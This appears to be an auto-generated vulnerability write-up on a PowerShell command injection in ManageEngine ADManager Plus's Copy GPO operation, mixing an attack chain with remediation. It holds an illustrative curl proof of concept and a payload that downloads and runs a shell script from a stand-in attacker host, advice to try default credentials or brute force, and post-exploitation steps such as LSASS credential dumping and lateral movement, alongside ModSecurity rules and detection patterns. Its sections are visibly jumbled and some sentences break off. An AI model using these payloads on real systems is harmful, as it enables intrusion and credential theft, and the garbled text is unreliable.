CVE-2026-125682 — Zohocorp ADManager Plus (8043) — CWE-77
Zohocorp ManageEngine ADManager Plus version below 8043 was affected by an authenticated PowerShell command injection vulnerability in the GPO Management module, allowing specially crafted input during the Copy GPO operation to execute arbitrary commands on the server.
Zohocorp ManageEngine ADManager Plus version below 8043 was affected by an authenticated PowerShell command injection vulnerability in the GPO Management module, allowing specially crafted input during the Copy GPO operation to execute arbitrary commands on the server.
🎯 What is this vulnerability?
CVE-2026-125682 is an Authenticated PowerShell Command Injection vulnerability (CWE-77) in ManageEngine ADManager Plus (versions prior to build 8043).
Technical Flaw Analysis
The vulnerability resides within the GPO (Group Policy Object) Management module, specifically during the "Copy GPO" operation.1. Missing Input Validation: The application accepts user-supplied input (likely a GPO name, path, or identifier) during the copy operation.
2. Unsafe Execution Context: The backend logic constructs a PowerShell command string using this unvalidated input and executes it via a shell interpreter (e.g., powershell.exe -Command "..." or Start-Process).
3. Injection Vector: Because the input is not properly sanitized or parameterized, an attacker can inject PowerShell operators (such as ;, |, &, or backticks) to break out of the intended command context and append arbitrary malicious commands.
4. Privilege Context: Since ADManager Plus typically runs with high privileges (often as SYSTEM or a dedicated service account with domain admin rights) to manage Active Directory, the injected commands execute with those elevated privileges.
CVSS Vector Breakdown:
- AV:N / AC:L / PR:L: Network-exploitable, low complexity, but requires Low Privileges (authenticated user).
- UI:N: No user interaction required.
- S:U: Scope is unchanged (the vulnerable component and impacted component are the same).
- C:H / I:H / A:H: High impact on Confidentiality, Integrity, and Availability due to full RCE.
- Fingerprinting: Identify the target running ManageEngine ADManager Plus. * Check HTTP headers for
- Authentication: Obtain valid credentials for any user account that has permission to access the GPO Management module. This could be a standard domain user with delegated permissions or a service account.
- Identify the Endpoint: The vulnerable operation is "Copy GPO." The attacker must locate the API endpoint or HTTP form action that triggers this copy operation. Illustrative Example:* The endpoint might be something like
- Craft the Payload: The attacker injects PowerShell command separators into the input field used for the GPO name or destination path. * Payload Structure:
- Send the Request:
⚡ Attack Chain
1. Discovery & Reconnaissance
Server: Apache Tomcat (common in ADManager Plus).
* Look for specific UI elements or API endpoints related to GPO management.
Note:* The exact version may not be exposed in headers. Attackers often attempt login with default credentials (admin/admin) or brute-force low-privilege accounts to confirm the software and version via the login page or "About" section.
2. Exploitation
/admanagerplus/gpo/copy or a REST API call. Note: The exact URI is not specified in the CVE description. The following is an illustrative example of how such a payload would be structured.
<legitimate_value>; <malicious_command>
* Example Malicious Command: whoami (for verification) or IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1') (for reverse shell).
# Illustrative PoC (Exact endpoint/parameter names are hypothetical)
# Assume the vulnerable parameter is 'gpoName' in a POST request to /admanagerplus/gpo/copy
curl -X POST "http://target:8080/admanagerplus/gpo/copy" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: JSESSIONID=valid_session_id; ADManagerPlusAuth=valid_token" \
-d "gpoName=TestGPO; whoami; &" \
-d "destination=\\domain\GPOs"{
"gpoName": "TestGPO; powershell -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\"",
"destination": "\\\\domain\\GPOs"
}3. Post-Exploitation
SYSTEM or a high-privilege service account.Mimikatz (if available) or PowerShell scripts to dump LSASS memory and extract credentials.
* Domain Compromise: Use stolen credentials to move laterally within the Active Directory environment, potentially compromising Domain Controllers.
* Data Exfiltration: Access sensitive AD data, user profiles, or file shares.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching (Primary Fix)
version.txt file in the installation directory.2. Workarounds (If immediate patching is not possible)
# ModSecurity Rule (Illustrative)
# Block PowerShell command injection patterns in GPO-related parameters
SecRule REQUEST_URI "@rx /gpo/copy" \
"id:100001,phase:1,deny,status:403,msg:'Potential PowerShell Injection in GPO Copy',log"
SecRule ARGS:gpoName "@rx [;&|`]" \
"id:100002,phase:2,deny,status:403,msg:'Invalid characters in GPO Name',log"3. Detection (IoCs)
;, |, &, powershell, IEX, DownloadString).POST /admanagerplus/gpo/copy HTTP/1.1
Content-Type: application/x-www-form-urlencoded
gpoName=TestGPO; whoami; &powershell.exe or cmd.exe spawned by the ADManager Plus service process (e.g., java.exe or tomcat.exe) with suspicious command lines.
* Event ID 4624 (Logon): Unexpected logons from the ADManager Plus server to other domain machines.
⚠️ Urgency
Patching Priority: HIGH
FOFA Query